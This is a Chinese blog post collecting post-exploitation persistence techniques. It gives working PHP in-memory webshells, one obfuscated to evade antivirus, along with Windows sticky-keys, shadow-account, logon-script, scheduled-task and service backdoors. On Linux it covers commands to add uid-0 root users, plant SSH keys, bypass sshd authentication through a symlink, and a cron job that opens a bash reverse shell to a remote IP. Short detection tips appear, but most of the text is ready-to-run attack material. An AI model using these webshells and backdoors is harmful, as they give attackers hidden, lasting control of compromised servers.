一些常见的权限维持方式
内存马(不死马)
最常见的内存马
<?php
set_time_limit(0); #用来设置脚本最大的执行时间,如果为0的话,就会一直执行这个脚本,设置其他数字的话,则按照设置的秒数来进行执行,注意,执行时间和php.ini里的max_execution_time设置有很大的关系,真实时间的计算公式是max_execution_time+time
ignore_user_abort(1); #当链接断开,继续执行
unlink(__FILE__); #删除当前文件
while (1) {
$content = '<?php @eval($_POST["zzz"]) ?>';
file_put_contents("config.php", $content); #创建文件,写入内容
usleep(10000); #延迟执行
}
?>
免杀内存马
采用了拼接,旋转,加密解密的手法进行隐藏,并且自定义函数,配合变量替换,成功对绕过进行免杀
因为创建了类,所以这个内存马,暂时只支持5.3以上的高级php版本
运行后将持续创建log.php
可更改yourcode自定义写入log.php文件内容
<?php
static $time =10000 ;
static $yourcode = 'Cjw/cGhwIGV2YWwoJF9QT1NUW2NdKTs/Pg=='; //bypass
header("Content-Type: text/html; charset=utf-8");
function EasyTo($myfile,$author){
fwrite($myfile,$author);
return Fread($myfile,"111");
}
class FileRead{
function __construct($read,$num){
$a = 1;
if ($num != Null)
$a = strlen($num);
print Fread($read,$a);
}
function test(){
echo "<br>"."ok\n";
}
function eb($yijufa){
$b = "_46esab";
$e = "edocne";
$eb = srv($e.$b);
return $eb($yijufa);
}
function db($jiekai){
$c = "_46esab";
$a = "edoced";
$db = srv($a.$c);
return $db($jiekai);
}
function zhixing($hiddden){
$ss = "ss";
$tt = "tt";
$yy = "yy";
$ee = "em";
$db = srv($ss[1].$yy[1].$ss[0]).srv($ee[1].$ee[0].$tt[0]);
return $db($hiddden);
}
}
function srv($str){
$new_str = "";
for ($i = strlen($str)-1;$i >= 0; $i--){
$new_str .= $str{$i};
}
return $new_str;
}
ignore_user_abort(true);
set_time_limit($time);
while(1)
{
$clear = fopen("log.php", "r");
fgets($clear);
echo $tmp = "\n".fgets($clear);
$myfile = fopen("log.php ", "a+");
$a = $myfile;
$b = new FileRead($a,"asdasdasdasdasdasd");
$t = date('Y-M-D H:i:s',time());
$tt = $b->eb($t);
unlink(__FILE__);
$code = $yourcode;
if(md5($tmp)===md5($b->db($code)))
{
echo md5($tmp)."\n";
echo md5($b->db($code));
}
else
EasyTo($a,$b->db($tt.$code));
echo $b->zhixing(srv("birtta")." +s +h log.php");
fclose($clear);
fclose($myfile);
usleep(5000000);
}
?>
防御方式
1,创建同名文件夹
rm config.php & mkdir config.php
2,条件竞争
3,kill杀进程
kill -9 -1 #杀掉当前用户下的所有进程
Windows
shift后门
创建shift粘贴键后门
粘滞键的启动程序在C盘的Windows/system32目录下为sethc.exe。所以我们打开注册表,定位到以下路径:
HKEY_LOCAL_MACHINE\ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File ExecutionOption
在目录中新建一个sethc.exe的子项,并添加一个新键debugger,debugger的对应键值为后门木马的路径,这里我用cmd路径代替一下。
cmd路径:C:\Windows\system32\cmd.exe
shift粘贴键后门创建完成之后,在锁屏状态下连按次shift粘贴键,C:\Windows\system32\cmd.exe文件运行,弹出命令行。
通过命令行的话需要知道sethc文件位置
粘滞键位置:c:\windows\system32\sethc.exe
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe
影子账号
1.使用如下命令创建隐藏用户并加入管理员组
net user test$ 123456 /add
net localgroup administrators test$ /add
创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。
打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM)
修改SAM权限,赋予adminitrators完全控制权限。
将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值。
将test$和所对应项000003F1导出,分别命名为test.reg和1.reg
删除test$用户,将test.reg和1.reg导入注册表
net user test$ /delregedit /s test.regregedit /s 1.reg
此时在用户组已经看不到test$用户,只能在注册表中能看到。
删除方式
net user test$ /del
虽然net user不能显示影子账号,但是wmic useraccount get Name会显示
wmic useraccount get Name
也可以通过计算机管理 -> 本地用户和组 中直接删除
logon scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:HKEY_CURRENT_USER\Environment
常用来上线cs
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe"
#创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径
计划任务后门
schtasks命令设定计划自动启动后门程序。
schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5 #每5分钟自动执行666.exe
服务自启动后门
自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。
sc create test binpath= c:\666.exe (注意等号后面有空格)#创建服务
sc config test start= auto #设置服务为自动启动
net start test #启动服务`
DLL劫持
Linux
一句话添加用户和密码
第一种最基础,也最可能被利用
1.创建一个用户名test,密码为123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` test
useradd -p方法 `` 是用来存放可执行的系统命令,“$()”也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" chao2
useradd chao4;echo 'chao4:123456'|chpasswd
useradd chao5;echo -e "123456\n123456\n" |passwd chao5
2.添加root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
3.可疑用户排查(awk,sed安全运维使用的比较多)
查询特权用户(uid为0)
awk -F: '$3==0{print $1}' /etc/passw
查询可以远程登录的账号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
除root账号外,其他账号是否存在sudo权限。如非管理需要,普通账号应删除duo权限
more /etc/sudoers |grep -v "^#\|^$" |grep "ALL=(ALL)"
ssh权限维持
介绍描述:
在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。
首先在windows中
生成一对公私钥(三次回车即可)
ssh-keygen -t rsa
公钥路径:C:\Users\27843/.ssh/id_rsa.pub.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/PFmrMbInWtZX2hbGPSTETtWjZ3WLyGYOd+O6ytRfKWAy1VcovKqifbMMuTL/+fhNep8tJ1b4nC1Qc+ZRN52QY64rpPbMPYrTTbSpYv1AScJB8bhkjns+o4OITDTHrpG5WZL8r2YJXVtwfSq2kgJUlsPPCHHwg/BjbB+btjJS0sYLxOwOtyzJg/WTKvKi9gndfLNMqn0UHUZz9JfFR+m56x/Z29LzXZzIC7Bbcpqu2JG0BwkMWD/sc4SVMF/ff+E9BNIMVoHLfJ9G9Fo0Q27CR32hqWjF7HQ8usLDGf3lwuCbvwI7Ur8dtNL9XIYzuh7GXWY8VaIRfiZxrIcrpbOf 27843@DESKTOP-019VT8P
将公钥复制下来,然后我们模拟提权成功了一个root权限的shell
我们用ssh远程连接centos客户机
之后再在root目录下创建一个
mkdir .ssh
touch authorized_keys
然后再用重定向进行将公钥写入
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/PFmrMbInWtZX2hbGPSTETtWjZ3WLyGYOd+O6ytRfKWAy1VcovKqifbMMuTL/+fhNep8tJ1b4nC1Qc+ZRN52QY64rpPbMPYrTTbSpYv1AScJB8bhkjns+o4OITDTHrpG5WZL8r2YJXVtwfSq2kgJUlsPPCHHwg/BjbB+btjJS0sYLxOwOtyzJg/WTKvKi9gndfLNMqn0UHUZz9JfFR+m56x/Z29LzXZzIC7Bbcpqu2JG0BwkMWD/sc4SVMF/ff+E9BNIMVoHLfJ9G9Fo0Q27CR32hqWjF7HQ8usLDGf3lwuCbvwI7Ur8dtNL9XIYzuh7GXWY8VaIRfiZxrIcrpbOf 27843@DESKTOP-019VT8P” >>authorized_keys
然后退出之后验证
ssh root@192.168.43.229
描述:
其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。
排查技巧:查看/root/.ssh/authorized_keys是否被修改。
计划任务反弹shell
1.首先在/etc/创建一个shell脚本
vim /etc/eval.sh
写入反弹shell的脚本
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/6677 0>&1
再赋予权限
chmod +sx /etc/evil.sh
vim /etc/crontab
添加上
*/1 * * * * root /etc/shell.sh
2、重启计划任务
systemctl restart crond
3.本地开启监听
lvvp -6677
拿到shell
排查技巧:查看可疑的定时任务列表
crontab -e
软连接
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
-s :创建一个软连接
-f: 指定一个文件
-o: 输出到,
ls /tmp/su
查看是否存在这个软连接
netstat -anptu | grep 8888
然后在进行验证
ssh root@192.168.0.104 -p 8888
随便乱输就可以
操作:
首先创建一个软连接,发现创建成功,我们再看一下8888端口是否开放,发现正常将防火墙关闭
systemctl stop firewalld
关闭selinux
vim /etc/sysconfig/selinux
我们进行验证
ssh root@ip -p 8888
发现可以直接输乱错密码就可以进行登录成功(不需要正确得密码)
排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。
ps aux|grep su 或者ps aux|grep 8888
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek火爆全网,官网宕机?本地部署一个随便玩「LLM探索」
· 开发者新选择:用DeepSeek实现Cursor级智能编程的免费方案
· 【译】.NET 升级助手现在支持升级到集中式包管理
· 独立开发经验谈:如何通过 Docker 让潜在客户快速体验你的系统
· Tinyfox 发生重大改版